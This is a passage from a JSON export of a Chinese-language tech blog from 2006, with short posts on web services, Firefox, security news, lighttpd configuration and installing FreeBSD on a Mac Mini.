    "body": "<a href=\"http://blog.outer-court.com/\" rel=\"tag\">Google Blogoscoped</a> 提到有不少網站 (蟑螂 + 投機客 :p) 對於 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 認為侵害他們的商標提出反擊，他們表示這邊的 \"google\" 是 \"Go Ogle\"，尤其是 googlematching.com 就更符合這個意思了 XD：<a href=\"http://blog.outer-court.com/archive/2006-08-21-n79.html\" rel=\"tag\">Google vs Go Ogle</a>。",
    "title": "Google 商標"
  },
  {
    "id": "711",
    "body": "在 <a href=\"http://greenisland.csie.nctu.edu.tw/wp/\" rel=\"tag\">Blake 學長的 Blog</a> 上看到 <a href=\"http://blog.xuite.net/\" rel=\"tag\">Xuite Blog</a> 的 Pingback 或是 Trackback，在這篇裡：<a href=\"http://greenisland.csie.nctu.edu.tw/wp/2006/05/22/\">歷史上處處可見人們對科技發展的低估</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/222883461/\"><img src=\"http://static.flickr.com/61/222883461_bf4ebc7c41.jpg\" alt=\"\" /></a>\r\n\r\n帶了一堆 Javascript 過來... (看起來被 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 用 <code>htmlentities()</code> 幹掉了)",
    "title": "Xuite Blog 的 Pingback 或是 Trackback"
  },
  {
    "id": "712",
    "body": "在 <a href=\"http://blogs.msdn.com/ie/\" rel=\"tag\">IE Blog</a> 上 (<a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> IE 7 開發用的 Blog) 看到目前的 IE7 修掉的 CSS bug 以及增加的部分：<a href=\"http://blogs.msdn.com/ie/archive/2006/08/22/712830.aspx\">Details on our CSS changes for IE7</a>。",
    "title": "IE7 的 CSS"
  },
  {
    "id": "713",
    "body": "不知道是 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 2.0b2 的問題，還是圖書館系統不穩... 找書常常找一找就出現空白畫面，不然就出現 500 或者其他各種奇怪的 error msg...\r\n\r\n8/8 下午四點一次，8/17 下午六點再一次，8/23 晚上十點多又一次... 我記得我 8/17 那次還打電話去圖書館幹剿，他居然說「我重開機看看好了」... XD 喂喂，是這樣搞的嗎...",
    "title": "圖書館的系統"
  },
  {
    "id": "714",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.ibm.com/\" rel=\"tag\">IBM</a> 要買下 <a href=\"http://www.iss.net/\" rel=\"tag\">ISS</a> (Internet Security Systems) 的新聞：<a href=\"http://it.slashdot.org/article.pl?sid=06/08/23/1455255\">IBM to Buy ISS for $1.3 Billion</a>，在 <a href=\"http://www.iss.net/\" rel=\"tag\">ISS</a> 網站上也公告出來了：<a href=\"http://www.iss.net/about/press_center/releases/us_ibm_08233006.html\">IBM to Acquire Internet Security Systems</a>。",
    "title": "IBM 買下 ISS"
  },
  {
    "id": "715",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到有人丟 Screenshot 出來：(<a href=\"http://digg.com/software/Firefox_using_up_1_5_gigs_of_RAM_screenshot\">Firefox using up 1.5 gigs of RAM (screenshot)</a>)\r\n\r\n<a href=\"http://www.flickr.com/photos/josh_charles/223825664/\"><img src=\"http://static.flickr.com/79/223825664_3550ca5bde.jpg\" alt=\"\" /></a>",
    "title": "Firefox 的 Memory Leak"
  },
  {
    "id": "716",
    "body": "<a href=\"http://www.icann.org/\" rel=\"tag\">ICANN</a> 的新合約決定對 .org &amp; .biz &amp; .info 行搶：<a href=\"http://yro.slashdot.org/article.pl?sid=06/08/25/0611209\">ICANN OKs Tiered Pricing for .org/.biz/.info</a>，原報導在 <a href=\"http://www.circleid.com/posts/icann_tiered_pricing_tld_biz_info_org_domain/\">ICANN Confirms: Tiered Pricing Not Forbidden in New .BIZ, .INFO and .ORG Contracts</a> 這篇。\r\n\r\n以往的 .org .biz .info 都是單一定價，不論是 google.org 還是 digg.org，但新的合約將有所改變。這件事情讓我想到 Net Neutrality...\r\n\r\nAnyway，這讓我們知道無本生意最好賺，投資報酬率無限大... :p",
    "title": "ICANN 行搶"
  },
  {
    "id": "717",
    "body": "在 <a href=\"http://mt.leafportal.org/\" rel=\"tag\">emphemeris</a> 看到 <a href=\"http://mt.leafportal.org/archives/001734.html\">麥當勞的祭品</a> 這篇文章，看到圖的時候笑了出來 :p (插香的「杯子」上還寫了「拜拜用」XD)\r\n\r\n每一家麥當勞都會拜嗎？:p 不知道潤七月十五的時候會不會有？:p",
    "title": "麥當勞"
  },
  {
    "id": "718",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 Spammer 除了向「業主」收費以外，還有其他的獲利方式：股票。(<a href=\"http://it.slashdot.org/article.pl?sid=06/08/25/1821256\">Buy Low, Spam High</a>)\r\n\r\n傳統的方式是向「業主」收取廣告費用，然後推銷產品，但愈來愈多國家立法限制 E-mail Spam 而使得這種方法不容易進行 (臺灣不知道什麼時候才要立法 !@#$%^)，因為可以透過「業主」的轉帳記錄而抓到 Spammer。\r\n\r\n這篇新聞所提到的方法是 Spammer 主動出擊進行金融犯罪：先挑好某隻股票，透過 E-mail Spam 鼓動散戶去購買，然後再脫手。依照新聞報導，這種獲利大約在 4.9% ~ 6%。\r\n\r\n如果透過 Botnet 發送 Spam，在技術上非常不容易找到幕後黑手，而且可以在短時間內取得可觀的獲利，看起來非常有可能成為未來的主流？",
    "title": "Spammer 的獲利"
  },
  {
    "id": "719",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到 <a href=\"http://www.cnn.com/\" rel=\"tag\">CNN</a> 將在今年的 9/11 早上 8:30 到午夜播出五年前同一時間 <a href=\"http://www.cnn.com/\" rel=\"tag\">CNN</a> 所播出的完整內容：<a href=\"http://digg.com/offbeat_news/CNN_com_to_Replay_9_11_Attacks_Coverage_3\">CNN.com to Replay 9/11 Attacks Coverage</a>。",
    "title": "CNN 將在 9/11 重播五年前的完整報導"
  },
  {
    "id": "720",
    "body": "<a href=\"http://www.microsoft.com/windows/windowsmedia/forpros/drm/\" rel=\"tag\">Windows Media DRM</a> 被破解：<a href=\"http://www.engadget.com/2006/08/25/fairuse4wm-strips-windows-media-drm/\">FairUse4WM strips Windows Media DRM!</a>。\r\n\r\n有很多人認為 DRM 是用於「保障著作人的權利」(Digital \"Rights\" Management)，但實際上 DRM 一定可以被破解，無法保障著作人的權利。DRM 真正的用途如同 <a href=\"http://www.fsf.org/\" rel=\"tag\">自由軟體基金會</a> 所說的，是「限制使用人的權利」(Digital \"Restrictions\" Management)，並藉由限制使用人的權利而宣稱可以保障著作人的權利。像是 <a href=\"http://www.apple.com/itunes/music/\" rel=\"tag\">iTunes Music Store</a> 的 DRM 是限制只能在 <a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 的機器或軟體上才能播放。",
    "title": "Windows Media DRM 被破解"
  },
  {
    "id": "721",
    "body": "<a href=\"http://getk2.com/\" rel=\"tag\">K2</a> 搬家了，這次搬到了 <a href=\"http://code.google.com/\" rel=\"tag\">Google Code</a> 上：<a href=\"http://code.google.com/p/kaytwo/\" rel=\"tag\">kaytwo</a>。\r\n\r\n於是 SVN Repository 也搬到 <a href=\"http://code.google.com/\" rel=\"tag\">Google Code</a> 上了，請各位 nightly build 愛用者換過去：<a href=\"http://kaytwo.googlecode.com/svn/trunk/\">http://kaytwo.googlecode.com/svn/trunk/</a>。",
    "title": "K2 Theme"
  },
  {
    "id": "722",
    "body": "<a href=\"http://www.iacr.org/conferences/crypto2006/\" rel=\"tag\">Crypto 2006</a> 上對 SHA-1 64 rounds 版本 (實際 SHA-1 運作的是 80 rounds) 提出更強的攻擊，這次提出的攻擊可以自己選定一些 Plaintext 的部分 (依照文章內的說明，大約 25% 的部分)，然後再去找 collision，使得攻擊變得更「實用」。",
    "title": "SHA-1 Collision"
  },
  {
    "id": "723",
    "body": "Firefox 2 Beta Final 的消息：<a href=\"http://developer.mozilla.org/devnews/index.php/2006/08/28/firefox-2gecko-181-approvals-2/\">Firefox 2/Gecko 1.8.1 approvals</a>。\r\n\r\n<a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 2 讓我最不習慣的就是 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 的 Quicktags 按鍵改變，本來用 Alt-[key]，現在要改用 Shift-Alt-[key]，不知道有沒有 about:config 可以改的方法？:p",
    "title": "Firefox 2 Beta Final"
  },
  {
    "id": "724",
    "body": "<a href=\"http://tools.wikimedia.de/~leon/stats/wikicharts/index.php?wiki=enwiki\">WikiCharts</a> 是統計 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 流量的工具，可以知道到底有哪些頁面比較熱門。很明顯 Sex 果然還是 Internet 的大宗啊，不管在哪裡都很熱門 :p",
    "title": "WikiCharts"
  },
  {
    "id": "725",
    "body": "剛剛在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 看到有人提出來為什麼 <a href=\"http://www.myspace.com/\" rel=\"tag\">MySpace</a> 在 <a href=\"http://www.alexa.com/\" rel=\"tag\">Alexa</a> 的排名會這麼高的原因了，因為 <a href=\"http://www.alexa.com/\" rel=\"tag\">Alexa</a> 是以 Pageview 計算，而 <a href=\"http://www.myspace.com/\" rel=\"tag\">MySpace</a> 的網站設計得太糟糕了，隨便幾個動作就可以造成極大的 Pageview：<a href=\"http://www.boingboing.net/2006/08/28/evhead_pageviews_are.html\">Evhead: pageviews are obsolete</a>。\r\n\r\nPS：國內某個站好像也是這樣 :p",
    "title": "MySpace 在 Alexa 的排名"
  },
  {
    "id": "726",
    "body": "<a href=\"http://www.f-secure.com/\" rel=\"tag\">F-Secure</a> 光明正大的在他們的 Blog 上婊 Tripod (一家提供免費網頁 Hosting 的服務)，說他們都沒在管 phishing (網路釣魚)，有好幾個釣魚網站居然可以放到連 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 都找的到了 (代表放了很久，連 Google bot 都連上去了)：<a href=\"http://www.f-secure.com/weblog/archives/archive-082006.html#00000959\">Are you a phisher? Looking for free hosting?</a>。",
    "title": "釣魚網站"
  },
  {
    "id": "727",
    "body": "<a href=\"http://tw.bid.yahoo.com/\" rel=\"tag\">Yahoo! 拍賣</a> 9/1 中午 12:00 正式開始收費，依照 <a href=\"http://pchome.dyndns.dk/\">http://pchome.dyndns.dk/</a> 以上架商品數量的數據畫出來的資料，過了十二點後就沒增加了... XD\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/230776113/\"><img src=\"http://static.flickr.com/90/230776113_952c8f85ec.jpg\" alt=\"\" /></a>",
    "title": "Yahoo! 拍賣收費"
  },
  {
    "id": "728",
    "body": "我 Notebook 的 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 2.0b2 好像爛掉了，跟 Javascript 有關的幾個部分不太正常，現在沒辦法登入 <a href=\"http://mail.google.com/mail/\" rel=\"tag\">GMail</a>，也沒辦法在 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao 大長輩</a> 的 blog 上留言...\r\n\r\n來砍掉重灌看看好了...",
    "title": "Firefox"
  },
  {
    "id": "729",
    "body": "在 <a href=\"http://blog.outer-court.com/\" rel=\"tag\">Blogoscoped</a> 上看到 <a href=\"www.google.com/transit\" rel=\"tag\">Google Transit</a> 給你奇怪的導引路線，叫你游泳過河 XD：<a href=\"http://blog.outer-court.com/archive/2006-09-01.html#n42\">Weird Google Directions</a>。",
    "title": "Google Transit"
  },
  {
    "id": "730",
    "body": "也是在 <a href=\"http://blog.outer-court.com/\" rel=\"tag\">Blogoscoped</a> 上看到的，利用 Javascript 與 CSS 的配合，遠端的 server 可以判斷某些 URL (任意站台) 是否被使用者訪問過：<a href=\"http://blog.outer-court.com/archive/2006-08-31-n42.html\">Find Visited URLs With JavaScript</a>。\r\n\r\n我記得前陣子在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 被提出來，不過好像沒人理？:p\r\n\r\n<strong>Update</strong>：我在逛 <a href=\"http://tw.bid.yahoo.com/\" rel=\"tag\">Yahoo! 拍賣</a> 的時候發現所有的 link 後面都加上了 <code>.r=[unixtime]</code>，不知道是不是這個原因？(我不確定是不是在這個問題被抓出來後才加上的)",
    "title": "Javascript 的隱私問題"
  },
  {
    "id": "731",
    "body": "在 <a href=\"http://www.gameimp.com/\" rel=\"tag\">南宮博士</a> 那看到的漫畫：<a href=\"http://www.gameimp.com/archives/2006/09/05/730/\">[Geeky] 別問我這是什麼意思</a>。我這邊就不把圖 copy 過來了，有興趣的可以直接連過去看，看的懂的人應該會覺得有趣 :p\r\n\r\n<strong>Update</strong>：居然在 <a href=\"http://37signals.com/svn/archives2/sudo_sandwich.php\">Sudo sandwich</a> (37signals) 看到這篇... XD",
    "title": "三明治？"
  },
  {
    "id": "732",
    "body": "<a href=\"http://www.emule-project.net/\" rel=\"tag\">eMule</a> 出 0.47b 版了，這個版本終於對於 ISP 的惡搞 (限流) 提出反擊：<a href=\"http://www.emule-project.net/home/perl/help.cgi?l=1&rm=show_topic&topic_id=848\">Protocol Obfuscation</a>。",
    "title": "eMule 0.47b"
  },
  {
    "id": "733",
    "body": "</p>現在如果不加上 &lt;p&gt;blah&lt;/p&gt; 的話，文章就不會有段落了... :/ (所以前幾天 RSS 整個更新...)</p>",
    "title": "WordPress 改變文章的處理方式"
  },
  {
    "id": "736",
    "body": "第四十四個 (暫訂第四十四個，因為第三十九個之後的還不確定是不是還有沒發現的) <a href=\"http://en.wikipedia.org/wiki/Mersenne_Prime\" rel=\"tag\">Mersenne Prime</a> (<a href=\"http://zh.wikipedia.org/wiki/%E6%A2%85%E6%A3%AE%E7%B4%A0%E6%95%B0\" rel=\"tag\">梅森質數</a>) 找到了：2<sup>32582657</sup>-1。\r\n\r\n<strong>Update</strong>：M<sub>n</sub> 表示 2<sup>n</sup>-1，所以不應該寫成 M<sub>44</sub>。",
    "title": "第四十四個 Mersenne Prime"
  },
  {
    "id": "737",
    "body": "<a href=\"http://freenode.net/\" rel=\"tag\">Freenode</a> 的創辦人 Rob Levin 因為騎腳踏車時被一台車撞到而傷到頭，享年五十：<a href=\"http://www.boingboing.net/2006/09/16/freenode_founder_rob.html\" rel=\"tag\">Freenode founder Rob Levin has died</a>。",
    "title": "Freenode 創辦人 Rob Levin 過世"
  },
  {
    "id": "738",
    "body": "在爆了幾次後，果然在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.virgin-atlantic.com/\" rel=\"tag\">Virgin Atlantic</a> 航空禁止 <a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 與 <a href=\"http://www.dell.com/\" rel=\"tag\">Dell</a> 的 Notebook 在飛機上使用電池：<a href=\"http://hardware.slashdot.org/article.pl?sid=06/09/16/2236256\" rel=\"tag\">Virgin Atlantic Bans Dell, Apple Laptops</a>。",
    "title": "Notebook 的電池"
  },
  {
    "id": "739",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上讀到有個閒閒沒事做的傢伙收到一封 <a href=\"http://myspace.com/\" rel=\"tag\">Myspace</a> 的釣魚信件，然後他發現可以抓到 phishing data，於是他就抓下來分析這些帳號密碼，以及 e-mail address：<a href=\"http://yro.slashdot.org/article.pl?sid=06/09/17/137215\">Analyzing 20,000 MySpace Passwords</a>，原文在 <a href=\"http://cyber-knowledge.net/blog/2006/09/16/analyzing-20000-myspace-passwords/\">Analyzing 20,000 MySpace Passwords</a> 這篇。\r\n\r\n註冊的 E-mail 部分，<a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a>、<a href=\"http://www.hotmail.com/\" rel=\"tag\">Hotmail</a>、<a href=\"http://www.aol.com/\" rel=\"tag\">AOL</a> 的郵件信箱佔大宗。\r\n\r\n密碼的部分，平均長度在七個字母左右，而 \"password\" 這個密碼果然在前幾名 XD",
    "title": "分析 Myspace 的密碼"
  },
  {
    "id": "740",
    "body": "鳥窩上看到 Custom 貼 <a href=\"http://shopping.pchome.com.tw/\" rel=\"tag\">PChome 線上購物</a> 開始賣遊艇 (註：Custom 是 <a href=\"http://www.pchome.com.tw/\" rel=\"tag\">PChome</a> 的員工)，一台要兩億台票，就算三十六期也要六百多萬... XD\r\n\r\n請參考：<a href=\"http://shopping.pchome.com.tw/pcv/\" rel=\"tag\">ASTONDOA遊艇</a>。",
    "title": "網路購物買遊艇"
  },
  {
    "id": "741",
    "body": "前幾天團長提到想買台 <a href=\"http://www.apple.com/macmini/\" rel=\"tag\">Mac Mini</a> 自己玩玩，我就突然想到 <a href=\"http://www.apple.com/macmini/\" rel=\"tag\">Mac Mini</a> 的體積剛好是解決機櫃空間不足的解法之一，就提出來跟團長講，結果今天就弄了一台來測，下午送到，一個晚上就把機器弄好了... (雖然遇到蠻多問題的，不過拜 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 強大的搜尋能力，都找到解決的方法了)\r\n\r\n可能的話，以後給一般使用者使用的 bsd* 與 linux* 工作站也許都會換成 <a href=\"http://www.apple.com/macmini/\" rel=\"tag\">Mac Mini</a> 以節省空間 :p",
    "title": "Mac Mini 上安裝 FreeBSD"
  },
  {
    "id": "742",
    "body": "在鳥窩看到 <a href=\"http://ylchang.blogspot.com/\" rel=\"tag\">ylchang</a> 在 Talk 板上問 Windows 有沒有像 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> ipfw2 這種一條一條列的防火牆，結果 <a href=\"http://www.cchsu.com/\" rel=\"tag\">ax</a> 就丟出 Windows IPFW 這套軟體：<a href=\"http://wipfw.sourceforge.net/\" rel=\"tag\">WIPFW</a>。\r\n\r\n看起來頗有趣，裝起來玩看看好了...",
    "title": "Windows 版 IPFW"
  },
  {
    "id": "743",
    "body": "很久前拍的交大科二 :p\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/226602\"><img src=\"http://static.zooomr.com/images/226602_f417b92004.jpg\" alt=\"\" /></a>",
    "title": "來測試 Zooomer..."
  },
  {
    "id": "744",
    "body": "測試 <a href=\"http://www.zooomr.com/\" rel=\"tag\">Zooomr</a> 的時候看到 Template Page... XD\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/226616\"><img src=\"http://static.zooomr.com/images/226616_842921fc4d.jpg\" alt=\"\" /></a>",
    "title": "測試 Zooomr 的時候..."
  },
  {
    "id": "745",
    "body": "拿 <a href=\"http://www.apple.com/macmini/\" rel=\"tag\">Mac Mini</a> 裝 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a>... :p (下面這張好像是當掉的畫面... XD)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/249812760/\"><img src=\"http://static.flickr.com/66/249812760_5c72bcacb3.jpg\" alt=\"FreeBSD Boot on Mac Mini\" /></a>\r\n\r\n幾個對於 <a href=\"http://www.apple.com/macmini/\" rel=\"tag\">Mac Mini</a> 不熟的人，應該先知道的東西：\r\n<ul>\r\n\t<li>開機按住 C 會從光碟開機。</li>\r\n\t<li>開機按住 F12 會把光碟片吐出來。</li>\r\n</ul>\r\n再來就是燒光碟了，<a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 6.1 不能在 <a href=\"http://www.apple.com/macmini/\" rel=\"tag\">Mac Mini</a> 上開起來，但 6.1-STABLE 是可以的，所以請抓 snapshots 版本：<a href=\"ftp://freebsd.csie.nctu.edu.tw/pub/snapshots/200609/\">freebsd.csie.nctu.edu.tw/pub/snapshots/200609/</a>。\r\n\r\n安裝時請不要選擇無 ACPI 的開機，會開不起來。(一般人沒事不會去關掉 ACPI 吧？我就會... 然後發現開不起來 XD)\r\n\r\n如果裝好後只有 ath 會起來 (無線網路)，內建的 Gigabit Ethernet 抓不到，請參考這兩篇文章下載 <a href=\"http://www.marvell.com/\" rel=\"tag\">Marvell</a> 的 driver source 並安裝：\r\n<ul>\r\n\t<li><a href=\"http://lists.freebsd.org/pipermail/freebsd-net/2006-January/009543.html\">Marvell/SysKonnect YukonII source code available</a></li>\r\n\t<li><a href=\"http://lists.freebsd.org/pipermail/freebsd-net/2006-January/009545.html\">Re: Marvell/SysKonnect YukonII source code available</a></li>\r\n</ul>\r\n編完後把 <code>if_myk.ko</code> 複製到 <code>/usr/local/modules</code>，然後在 <code>/boot/loader.conf</code> 裡面放：\r\n<blockquote><code>if_myk_load=\"YES\"\r\nmodule_path=\"/boot/kernel;/boot/modules;/usr/local/modules\"</code></blockquote>\r\n這樣可以避免重新編 kernel 時把 <code>if_myk.ko</code> 弄不見 :p\r\n\r\n<strong>Update</strong>：警告！可以放在 /usr/local/modules 是因為我們沒有切 /usr 或 /usr/local 出來，開機的時候在只有 mount / 的情況下是讀的到的... XD\r\n\r\n最後，kernel 裡的 options SMP 要記得開，不然 reboot 會卡住。",
    "title": "Intel 版 Mac Mini 的安裝"
  },
  {
    "id": "746",
    "body": "<a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 1.4.12 出版了，經過八個 pre-release 的測試，這次主要都在修正 SSL 的問題。剛剛送了 pr 更新 FreeBSD Ports，如果 maintainer 沒意見的話，不久後就會更新了：<a href=\"http://www.freebsd.org/cgi/query-pr.cgi?pr=103618\">[PATCH] www/lighttpd: update to 1.4.12</a>。\r\n\r\n補記，<a href=\"http://www.freshports.org/devel/porttools/\" rel=\"tag\">porttools</a> 對於這種升級的事情幫助相當大... :p 如果軟體使用會尊重 PREFIX 環境變數的 configure (像是 GNU autotools 生出來的 configure)，就不需要自己用 find 更新 pkg-plist...\r\n\r\n關於 <a href=\"http://www.freshports.org/devel/porttools/\" rel=\"tag\">porttools</a> 的用法，請參考 <a href=\"http://wiki.yichi.org/\" rel=\"tag\">義氣幫 Wiki</a> 上 <a href=\"http://wiki.yichi.org/index.php?title=PortTools\" rel=\"tag\">PortTools</a> 這篇。",
    "title": "lighttpd 1.4.12"
  },
  {
    "id": "747",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到對於英文的 <a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent</a> 站台比較，如果要找一些稀奇古怪的東西也許可以用看看：<a href=\"http://slashdot.org/article.pl?sid=06/09/25/1211242\" rel=\"tag\">Ten Most Used BitTorrent Sites Compared</a>。\r\n\r\n(不過自從 <a href=\"http://www.emule-project.net/\" rel=\"tag\">eMule</a> 也開始抵抗 Layer 7 Filter 後我覺得用 <a href=\"http://www.emule-project.net/\" rel=\"tag\">eMule</a> 找應該會比較方便 :p)",
    "title": "Bittorrent 站台"
  },
  {
    "id": "748",
    "body": "在 <a href=\"http://www.schneier.com/blog/\" rel=\"tag\">Bruce Schneier</a> 的 Blog 上看到的，算一算只要兩分鐘就可以拿到比 Administrator 還高的帳號 (SYSTEM) 權限... XD：<a href=\"http://www.schneier.com/blog/archives/2006/09/getting_system.html\">Getting System Privileges on Windows XP</a>。\r\n\r\n原文在 <a href=\"http://passivemode.net/updates/2006/6/5/windows-xp-privilege-escalation-exploit.html\">Windows XP Privilege Escalation Exploit</a> 這裡，還附上「教學影片」：<a href=\"http://www.projectstreamer.com/users/r0t0r00t3r/xp_priv_esc-1/xp_priv_esc.html\">VIEW THIS EXPLOIT IN ACTION (VIDEO DEMONSTRATION)</a>。",
    "title": "我愛 Windows..."
  },
  {
    "id": "749",
    "body": "<a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 也提供 VIP Service 了，跟一般的 VIP Hosting 不太一樣，<a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 走的是最高階層的服務項目：\r\n<ul>\r\n\t<li>可以用自己的 Domain。</li>\r\n\t<li>可以透過 SVN 修改網站樣板 (Template)。</li>\r\n\t<li>沒有 Javascript 的限制 (主要是因為用自己的 Domain 可以避免大部分的 XSS...)</li>\r\n</ul>\r\n目前看起來是「合理使用不限流量」(像是被各新聞網站 Slashdotted 都算是合理使用 XD)，不過每個月要 USD$250 以及 USD$500 的設定費用... XD",
    "title": "WordPress.com 的 VIP 服務"
  },
  {
    "id": "750",
    "body": "最近美國很流行玩銀行的 ATM 提款機 XD\r\n\r\n先是透過 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找某款 ATM 機器 (Mini-Bank 1500) 的預設密碼，如果裝機的時候沒改，就可以用它來惡搞 XD (參考 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的 <a href=\"http://it.slashdot.org/article.pl?sid=06/09/21/1819242\">Googling for ATM Master Passwords</a> 這篇)\r\n\r\n再來是有人也爆料 <a href=\"http://www.tritonatm.com/\" rel=\"tag\">Triton</a> ATM 提款機的預設密碼也可以透過 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找到：<a href=\"http://it.slashdot.org/article.pl?sid=06/09/25/1919256\">Another ATM Maker Pwned by Googling</a>。\r\n\r\n好棒啊... XD",
    "title": "最近流行黑... 銀行的 ATM 提款機"
  },
  {
    "id": "751",
    "body": "<a href=\"http://www.aol.com/\" rel=\"tag\">AOL</a> 終於因為上次放的搜尋記錄被告了 (如果你不知道 <a href=\"http://www.aol.com/\" rel=\"tag\">AOL</a> 幹了什麼蠢事的話，請參考 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao 大長輩</a> 的 <a href=\"http://blog.ijliao.info/archives/2006/08/15/2483/\">搜尋引擎的七種使用者</a> 這篇文章)：<a href=\"http://yro.slashdot.org/article.pl?sid=06/09/25/2150209\">AOL Subscribers Sue Over Release Of Search Data</a>。",
    "title": "AOL 因為放搜尋紀錄被告了"
  },
  {
    "id": "752",
    "body": "在 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 的 <a href=\"http://trac.lighttpd.net/trac/wiki/\">wiki</a> 上看到列表，才發現原來已經一堆站台都用 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 了：<a href=\"http://trac.lighttpd.net/trac/wiki/PoweredByLighttpd\">Powered By lighttpd</a>。包括了 isohunt、pingomatic、reddit、sourceforge、youtube、torrentreactor、alistapart、imageshack、torrentz 這些巨型站台...",
    "title": "用 lighttpd 的站台"
  },
  {
    "id": "753",
    "body": "<a href=\"http://blog.j5g.org/\" rel=\"tag\">jwhuang</a> 在 <a href=\"http://blog.j5g.org/2006/09/27/134/\">防止圖片盜連</a> 丟了個問題出來：\r\n<blockquote>不知道在 lighttpd 上面是不是也可以這樣弄。</blockquote>\r\n當然可以，用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找 <a href=\"http://www.google.com/search?q=lighttpd+referer\" rel=\"tag\">lighttpd referer</a> 可以找到某個 bug report 抱怨沒辦法設兩層，不過一層是 ok 的 (後來找出 workaround 了，在下面的 Change History 裡有寫)：<a href=\"http://trac.lighttpd.net/trac/ticket/803\" rel=\"tag\">nesting $HTTP[\"referer\"] inside of $HTTP[\"url\"] does not work</a>\r\n<blockquote><pre>$HTTP[\"referer\"] !~ \"^($|http://www\\.fussball-forum\\.de)\" {\r\n  $HTTP[\"url\"] =~ \"^/images/\" {\r\n     url.access-deny = ( \".jpg\", \".jpeg\", \".png\", \".gif\" )\r\n  }\r\n}</pre></blockquote>",
    "title": "在 lighttpd 上擋圖片盜連"
  },
  {
    "id": "754",
    "body": "參考：<a href=\"http://security.freebsd.org/advisories/FreeBSD-SA-06:23.openssl.asc\">Multiple problems in crypto(3)</a>，從 4.11 後的版本都有提供 security patch。(雖然早就說不維護 4.11 了，但這個包袱實在太重，還有不少機器跑 4.11，所以大家都心知肚明... XD)\r\n\r\n這次不更新的話會中大獎 (remote buffer overflow)，所以凌晨看到後超熱血一次開了 30 個窗連到一堆機器上跑 make world，不讓學弟/妹慢慢做了... 結果做完後發現原 patch 是有問題的 (喂喂)，所以又出了第二個 patch，看了一下說明，看起來是有 patch 掉，但沒 patch 乾淨，可能還是會造成 DoS 攻擊...\r\n\r\n那我就懶了，學弟妹上吧... XD",
    "title": "OpenSSL 的安全性更新"
  },
  {
    "id": "755",
    "body": "<a href=\"http://www.zooomr.com/\" rel=\"tag\">Zooomr</a> 事實上是有放 API 出來讓大家用的 (<a href=\"http://juploadr.sourceforge.net/\" rel=\"tag\">jUploadr</a> 就是用 API 處理 <a href=\"http://www.zooomr.com/\" rel=\"tag\">Zooomr</a> 的部分)，不過網站上好像找不到，後來才在官方的發展 Blog 上翻到：<a href=\"http://blog.zooomr.com/2006/03/27/attention-developers/\">Attention Developers</a>。\r\n\r\n基本上 <a href=\"http://www.zooomr.com/\" rel=\"tag\">Zooomr</a> 的 API 是抄 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 的，這樣可以讓本來使用 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> API 的應用程式很容易搬移過來。",
    "title": "Zooomr 的 API"
  },
  {
    "id": "756",
